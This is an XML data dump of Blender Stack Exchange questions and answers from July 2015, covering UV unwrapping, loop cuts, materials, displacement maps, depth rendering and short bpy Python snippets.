  <row Id="33263" PostTypeId="1" AcceptedAnswerId="33299" CreationDate="2015-07-01T14:45:41.853" Score="3" ViewCount="2128" Body="&lt;p&gt;To be more specific, I'm making a glass table that consists of two parts: the legs part, which has a metallic material, and the glass top, which has a glass material. Do I have to UV unwrap them, or it's pointless if there is no texture applied to them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I know, if I want to import it to a game engine, they need at least one UV map for the lightmap. Though I'm not sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please tell me if I need them or not.&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15349" LastActivityDate="2015-07-02T08:48:25.127" Title="Does a mesh need UV if there is no texture?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33264" PostTypeId="1" CreationDate="2015-07-01T15:37:13.240" Score="1" ViewCount="105" Body="&lt;p&gt;So I've been trying to find a way to control volume of the background music inside a BGE game I'm working on. But there's always some kind of hiccup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the 3dsound and camera which kind of gets the job done for the options menu scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then created a &quot;game&quot; scene which overlays the option menu scene so sound plays on that scene too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's where the problem lies, the options menu ALWAYS has to be active on the game scene in order to play the sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if there was a better way to do this either with python or logic bricks or if I'm not seeing something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/309/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=309&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14946" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-01T15:37:13.240" Title="music/sound fx controller for options menu in BGE" Tags="&lt;audio&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33265" PostTypeId="2" ParentId="33263" CreationDate="2015-07-01T15:54:34.500" Score="2" Body="&lt;p&gt;You don't need to UV unwrap the mesh if you can use the procedural texture coordinates like Generated or Object to get the material you want. This applies mainly to within Blender. If you are exporting to another app, like a game engine, you'll need to use the most compatible texture coordinate mode, which may in fact, be UV.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-01T15:54:34.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33266" PostTypeId="2" ParentId="33263" CreationDate="2015-07-01T16:01:46.123" Score="2" Body="&lt;p&gt;As far as Unity is concerned, a UV map isn't necessary for your mesh. You should be able to import it just fine and even apply simple textures to your object and tile them. Furthermore, Unity can generate lightmaps on its own, so that's not an issue either.&lt;/p&gt;&#xA;" OwnerUserId="7960" LastActivityDate="2015-07-01T16:01:46.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33267" PostTypeId="1" CreationDate="2015-07-01T17:29:19.550" Score="1" ViewCount="2034" Body="&lt;p&gt;I want to animate a face, a Motion Capture animation. I learned that MotionBuilder is great for doing that. Does MotionBuilder work with Blender? &lt;/p&gt;&#xA;" OwnerUserId="15204" LastEditorUserId="599" LastEditDate="2015-07-02T23:29:06.427" LastActivityDate="2015-08-02T01:20:25.173" Title="Is MotionBuilder compatible with Blender?" Tags="&lt;modeling&gt;&lt;motion-capture&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33268" PostTypeId="2" ParentId="33267" CreationDate="2015-07-01T17:37:51.857" Score="1" Body="&lt;p&gt;You can export animations from Motion Builder in FBX or BVH formats, which Blender can import as an animated armature.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-01T17:37:51.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33269" PostTypeId="2" ParentId="33132" CreationDate="2015-07-01T18:09:11.607" Score="0" Body="&lt;p&gt;I'd recommend the &lt;a href=&quot;https://cgcookiemarkets.com/blender/all-products/asset-sketcher-blender-addon/&quot; rel=&quot;nofollow&quot;&gt;Asset Sketcher&lt;/a&gt; commercial addon on CG Cookie Market. Perhaps you can modify it to randomize the Sapling seed value.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-01T18:09:11.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33270" PostTypeId="1" AcceptedAnswerId="33318" CreationDate="2015-07-01T18:24:33.557" Score="3" ViewCount="327" Body="&lt;p&gt;I am building a house, and I mainly work with loopcuts.&#xA;I do not delete any faces because that breaks future loop cuts (they would stop where I have deleted a face).&#xA;Now my model looks really wild, and I will have to delete many faces when I am done.&#xA;I would like to ask if my approach is common and if this happens to anybody or if I am doing something weird here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3OcaD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="599" LastEditDate="2015-07-01T19:09:46.913" LastActivityDate="2015-07-02T15:35:32.427" Title="Is it common to have many loop cuts?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33272" PostTypeId="1" CreationDate="2015-07-01T18:42:20.383" Score="2" ViewCount="808" Body="&lt;p&gt;I have created a cube in blender and I have resized it. When I use the following code to print the coordinates, it prints the coordinates for the original cube (not the resized one). Could you let me know how I can get the coordinates for the resized cube?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for item in bpy.data.objects:        &#xA;    print(item.name)  &#xA;    if item.type == 'MESH':  &#xA;        for vertex in item.data.vertices:  &#xA;            print(vertex.co)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14810" LastActivityDate="2015-07-01T20:02:28.390" Title="Mesh coordinates" Tags="&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33273" PostTypeId="1" CreationDate="2015-07-01T19:07:33.253" Score="3" ViewCount="615" Body="&lt;p&gt;Unfortunately I have deleted some face. Now my loop cut stop at the deleted face.&#xA;I am trying to model my lock, but without a loop cut I am currently lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how to model my lock? Do I have to rebuild the deleted faces to make perfect loop cuts again, or can / should I do it differently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2x2G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2017-11-20T19:13:35.300" Title="Interrupted loop-cut alternative" Tags="&lt;mesh&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33275" PostTypeId="2" ParentId="33272" CreationDate="2015-07-01T20:02:28.390" Score="1" Body="&lt;p&gt;As others have mentioned, you need to apply the scale transform you performed. I would do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='DESELECT') # deselect everything to avoid a mess&#xA;for item in bpy.data.objects:&#xA;    print(item.name)&#xA;    if item.type == 'MESH':&#xA;        item.select = True # lets select every mesh as we go&#xA;        bpy.ops.object.transform_apply(scale=True) # apply transform&#xA;        item.select = False # we're done working on this object&#xA;        for vertex in item.data.vertices:  &#xA;            print(vertex.co)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15274" LastActivityDate="2015-07-01T20:02:28.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33276" PostTypeId="1" AcceptedAnswerId="36024" CreationDate="2015-07-01T20:30:43.810" Score="14" ViewCount="3320" Body="&lt;p&gt;I's there a way to make a material such that when viewed through another object it appears differently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;object 1 is a black sphere&#xA;Object 2 is a glass plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing the black sphere through the glass pane the sphere becomes translucent, or in some way changes the texture that is visible THROUGH object 2, but anywhere that object 1 is directly visible to the camera it remains a black sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible using standard blender tools or will this require scripting and mods?&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="599" LastEditDate="2015-07-01T20:50:41.733" LastActivityDate="2015-08-19T17:14:32.330" Title="How do you make an xray material (or similar)" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33277" PostTypeId="2" ParentId="33276" CreationDate="2015-07-01T20:50:10.720" Score="12" Body="&lt;p&gt;There are several ways to approach this, the most flexible is likely compositing and renderlayers. However, it &lt;em&gt;is&lt;/em&gt; possible to do this from within cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfInR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the incoming ray has bounced more than once and it is coming from a transmissive object (such as glass), it will be translucent. Otherwise it will be diffuse.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-01T20:50:10.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33278" PostTypeId="2" ParentId="33263" CreationDate="2015-07-01T21:31:01.343" Score="0" Body="&lt;p&gt;You don't if you're using unity like others but im not sure about other game engines. I would think not because the only thing a uv is used for from my understanding is a texture . if you have no texture you need no uv. &lt;/p&gt;&#xA;" OwnerUserId="2325" LastActivityDate="2015-07-01T21:31:01.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33279" PostTypeId="1" AcceptedAnswerId="33281" CreationDate="2015-07-01T21:31:37.790" Score="2" ViewCount="338" Body="&lt;p&gt;I am trying to rotate my plane so that it is perfectly upright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I don't see this parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/phw5X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I blind or are the rotation parameters hidden somewhere?&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="599" LastEditDate="2015-07-01T21:48:19.563" LastActivityDate="2015-07-01T21:48:19.563" Title="Plane rotation parameters missing" Tags="&lt;mesh&gt;&lt;interface&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33280" PostTypeId="1" CreationDate="2015-07-01T21:34:03.840" Score="1" ViewCount="98" Body="&lt;p&gt;I am interested in exporting finger model with texture as Wavefront file (.obj) using a script. Many scripts were available online but they provide only vertices or faces. It would be of great help if anyone could provide me a script to save the all the information on that model. The model is shown below:&lt;img src=&quot;https://i.stack.imgur.com/fIqFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15155" LastEditorUserId="3078" LastEditDate="2015-07-01T23:38:24.647" LastActivityDate="2015-07-01T23:40:51.700" Title="How can I use a script to export a model as a Wavefront file(.obj)?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-08T06:28:02.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="33281" PostTypeId="2" ParentId="33279" CreationDate="2015-07-01T21:48:09.240" Score="2" Body="&lt;p&gt;This is because you are in &lt;em&gt;Edit mode&lt;/em&gt; (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;). Try adding the plane in object mode to make it a separate object with it's own transforms.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, it's still possible to rotate geometry that's part of an object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you initially add the plane in edit mode there is an option to change its orientation in the &lt;em&gt;Redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFsfD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can always use &lt;kbd&gt;R&lt;/kbd&gt; to rotate geometry, e.g. &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;90&lt;/code&gt; will rotate the selection 90&amp;deg; around the Y axis. See &lt;a href=&quot;https://blender.stackexchange.com/q/6394/599&quot;&gt;Why can&amp;#39;t I translate parts of my mesh with the 3d widget?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-01T21:48:09.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33282" PostTypeId="1" CreationDate="2015-07-01T21:48:59.357" Score="3" ViewCount="237" Body="&lt;p&gt;I made some grass using Particle System and grouped grass objects (each object is a clump with lots of blades).&#xA;I didn't do anything to the grass, the only thing that has any keyframes during my animation is a ball rolling through the grass.&#xA;The &quot;emitting&quot; plane has a collision component and so does the ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, in over half of the frames the whole grass field looks the same, but in some frames it looks like a clump or two disappear and different ones are suddenly visible. It's very annoying and I don't understand how this can happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach two frames, the first one is the &quot;normal one&quot; and the second is the odd one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions! Cheers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS Look at the middle - far right or at the middle part of the attached pictures. This is where the discrepancies are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cnXt.jpg&quot; alt=&quot;Normal frame&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tj8WT.jpg&quot; alt=&quot;Odd frame&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZY5jy.png&quot; alt=&quot;Particle System settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8351" LastEditorUserId="8351" LastEditDate="2015-07-11T00:01:11.900" LastActivityDate="2015-07-11T00:01:11.900" Title="Static grass animation - grass looks differently in different frames (it's not animated though)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33283" PostTypeId="2" ParentId="33233" CreationDate="2015-07-01T21:51:26.950" Score="4" Body="&lt;p&gt;You're getting a grey screen, because all your objects are set to be visible but not render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check the outliner, you'll see that your &quot;Skybox&quot; object, &quot;Bola&quot; object as well as the spheres parented to the armatures are all set to not render (the camera icon is greyed out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIVqK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each item that should be rendering, click the camera icon beside each one in the outliner.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-02T17:15:25.080" LastActivityDate="2015-07-02T17:15:25.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33284" PostTypeId="1" CreationDate="2015-07-01T22:13:11.473" Score="0" ViewCount="145" Body="&lt;p&gt;I want the maximum polygon size to be the same for all my objects. I am using the &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/remesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;remesh&lt;/a&gt; modifier to generate many faces, but I would like to specify how dense the mesh is globally, rather than relative to the object's size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YfmjJ.png&quot; alt=&quot;big mesh&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/I8v8A.png&quot; alt=&quot;small mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the settings I'm using for all objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob.modifiers[&quot;Remesh&quot;].octree_depth = 5&#xA;ob.modifiers[&quot;Remesh&quot;].scale = 0.99&#xA;ob.modifiers[0].mode = 'SHARP'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking I could play with the scale? How would I adjust scale appropriately to get polygons of the same size? Not sure how to go about this..&lt;/p&gt;&#xA;" OwnerUserId="15230" LastActivityDate="2016-07-01T16:55:31.823" Title="Mesh different objects uniformly" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33287" PostTypeId="2" ParentId="33246" CreationDate="2015-07-01T23:49:34.887" Score="4" Body="&lt;p&gt;For the following cloth simulation, the ground plane is set to be a collision object and the box has the 'leather' cloth preset applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Sub-Division modifier in the stack below the Cloth Sim modifier, you can place the Sub-D higher up the stack for more detail however this greatly increases the time needed for the calculations to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the simulation is run, you should have a series of frames to choose from.  Select the one you prefer and &lt;strong&gt;&lt;em&gt;Apply&lt;/em&gt;&lt;/strong&gt; the modifier so that the mesh becomes frozen in that shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xPUi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-07-01T23:49:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33288" PostTypeId="1" CreationDate="2015-07-01T23:51:08.467" Score="4" ViewCount="3605" Body="&lt;p&gt;So I followed a texturing tutorial by Blender Guru that shows you how to add bump-, specular- and displacement maps with nodes in cycles to make your texture look more realistic. I used my own texture to make things a bit more interesting for me but it ends up being way larger than I anticipated.&lt;/p&gt;&#xA;&lt;p&gt;This is what it looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8nKc9.png&quot; alt=&quot;This is what it looks like&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the size that I'd like (but with a displacement map for added realism):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qA5A9.png&quot; alt=&quot;ignore the lighting&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now I know how to change the size of my image textures for the basic texture and the bump- and specular maps - via changing the values in the textures' mapping-section&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DlGVW.png&quot; alt=&quot;I'd set the values to 5&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;but when it comes to the displacement map&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAYOg.png&quot; alt=&quot;my settings for the displacement map&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;there is no such mapping-section there, just an image mapping-section which isn't helpful regarding the size of the texture.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3u1cf.png&quot; alt=&quot;Those are the options I see for the displacement texture.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If anyone knows how to deal with this, I'd greatly appreciate your help.&lt;/p&gt;&#xA;" OwnerUserId="15354" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-03T11:12:54.627" Title="How can I resize a displacement map in cycles?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33289" PostTypeId="1" CreationDate="2015-07-02T00:40:56.513" Score="1" ViewCount="112" Body="&lt;p&gt;For the purposes of my game I need bones that would normally be one long bone (arms, legs) to be split into two. The problem with this is that when animating the model the legs and arms now move as if they have three joints (because they do now, but this isn't what I want). Is it possible to have blender ignore the new joint?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2015-11-29T15:22:06.833" Title="Make subdivided bone move as one whole bone?" Tags="&lt;animation&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33290" PostTypeId="1" CreationDate="2015-07-02T00:51:14.920" Score="2" ViewCount="188" Body="&lt;p&gt;I have been trying to create an animation (in which an avatar moves her arms) and I want it to run while a cloth simulation is happenning. I have tried this, but the cloth disappears in the simulation because of the animation, which is running at the same time. How can I make this work?&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="894" LastEditDate="2015-07-02T01:00:41.717" LastActivityDate="2015-08-11T21:31:57.380" Title="How can I create an animation within a cloth simulation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33291" PostTypeId="2" ParentId="33288" CreationDate="2015-07-02T01:23:24.800" Score="3" Body="&lt;p&gt;If you are using the UV (also default) texture coordinates mode (with Point or Vector mapping), you can use the Crop Maximum XY values to scale the Displacement Texture up and down with the same values you used for Scale on the colour texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UBwV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-02T01:31:48.057" LastActivityDate="2015-07-02T01:31:48.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33293" PostTypeId="1" AcceptedAnswerId="33297" CreationDate="2015-07-02T02:59:40.403" Score="3" ViewCount="6041" Body="&lt;p&gt;I am trying to synthetically generate depth image mimicing a real Kinect. So I have set the camera params as below using python script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1l5Sy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup the nodes and able to get the depth image as shown below. Along with render params as shown in the figure. I am able to render the depth image.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HslAD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I read the image outside, there is a cutoff after certain depth. This can be seen in the below matlab read of the image. One can see that the top rows in the image are set to constant high values. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/NoppT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the viewpoint of the camera to be lower, it seems to gradually improve gradienting. So I believe its having a threshold which says beyond this z value, if there is an object then just assign the highest value or something. I played around with all the camera params and couldn't figure out the issue. Please let me know if you have come across this or know of any parameter that can fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2020-11-28T02:58:18.327" Title="Z-buffer output from blender as file" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;camera&gt;&lt;render-layers&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33294" PostTypeId="1" AcceptedAnswerId="33320" CreationDate="2015-07-02T06:18:58.607" Score="2" ViewCount="753" Body="&lt;p&gt;Is it possible to have a plane with its normal as reference for &lt;em&gt;Transform Orientation&lt;/em&gt; (Global, Local, Normal, Gimbal, View axis)? For example, I would like to select every face and scale to 0 to the normal Z-axis:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J54aF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I select every face then this normal Z-axis changes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F8pdF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2019-12-29T12:46:37.083" Title="Is it possible to have a plane with its normal as reference for Transform Orientation" Tags="&lt;transforms&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33295" PostTypeId="1" CreationDate="2015-07-02T06:24:41.210" Score="0" ViewCount="1371" Body="&lt;p&gt;I am just modelling a small cup that I want to fill with sugar cubes. To make it look more realistic, I want to let the cubes drop into the cup. I have already physics enabled and the right collisions but I am just wondering how to freeze a single frame to take it as my initial frame. Everytime I switch back to the first frame, I lose my keyframe and the cubes are over the cup again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the answer is pretty easy but I couldn't find it in the manual yet.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-07-02T06:24:41.210" Title="Freezing a physics simulation and use a certain frame to go on with modelling" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-02T15:23:35.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="33296" PostTypeId="1" AcceptedAnswerId="33322" CreationDate="2015-07-02T06:24:49.257" Score="0" ViewCount="229" Body="&lt;p&gt;Following the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/Animation&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt; relating to the changes to time and influence controls on strips, I keep running into issues with it. When I check the strip to have animated time and try to insert keyframes, I get the error message &quot;No F-Curve to add keyframes to&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can locate the Strip Time track in the Graph Editor for the given object, but there's no curve. Odd enough, I can add modifiers to the track and they seem to work as intended (ie. time becomes animated), but I can't find a way to control it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a step here or could this be a bug of some sort?&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2015-08-21T08:48:31.770" Title="How to animate Action Clip time in 2.75?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33297" PostTypeId="2" ParentId="33293" CreationDate="2015-07-02T07:22:28.210" Score="5" Body="&lt;p&gt;The values of the Z Buffer are in float values, and then they get clipped to &amp;lt;0,1&gt; (&amp;lt;0,255&gt;) range in your file format.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Either save the images in some hdr format (.exr for example) that will support float values&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or re-map the values to the &amp;lt;0,1&gt; range yourself with &lt;em&gt;Map Value&lt;/em&gt; node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-02T07:22:28.210" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33298" PostTypeId="2" ParentId="27491" CreationDate="2015-07-02T07:41:00.793" Score="3" Body="&lt;p&gt;Actually it is, when the scaling factors are not the same (as @mifth pointed out) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;normal_local = C.object.data.vertices[0].normal.to_4d()&#xA;normal_local.w = 0&#xA;normal_local = (C.object.matrix_world * normal_local).to_3d()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know they are all the same, you can use :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.object.rotation_euler.to_matrix() * C.object.data.vertices[0].normal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="15363" LastEditorUserId="15363" LastEditDate="2015-07-15T09:23:07.100" LastActivityDate="2015-07-15T09:23:07.100" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33299" PostTypeId="2" ParentId="33263" CreationDate="2015-07-02T08:48:25.127" Score="1" Body="&lt;p&gt;Realtime oriented lighting systems used in games usually rely on UV maps to bake pre-calculated rendering attributes (even when the artist do not provide diffuse/normal maps). Depending on the game engine you are using, unwrap may happen automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic unwrap may result in poor/inefficient UV maps so, as a general rule, manually unwrap and provide your own UVs.&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastActivityDate="2015-07-02T08:48:25.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
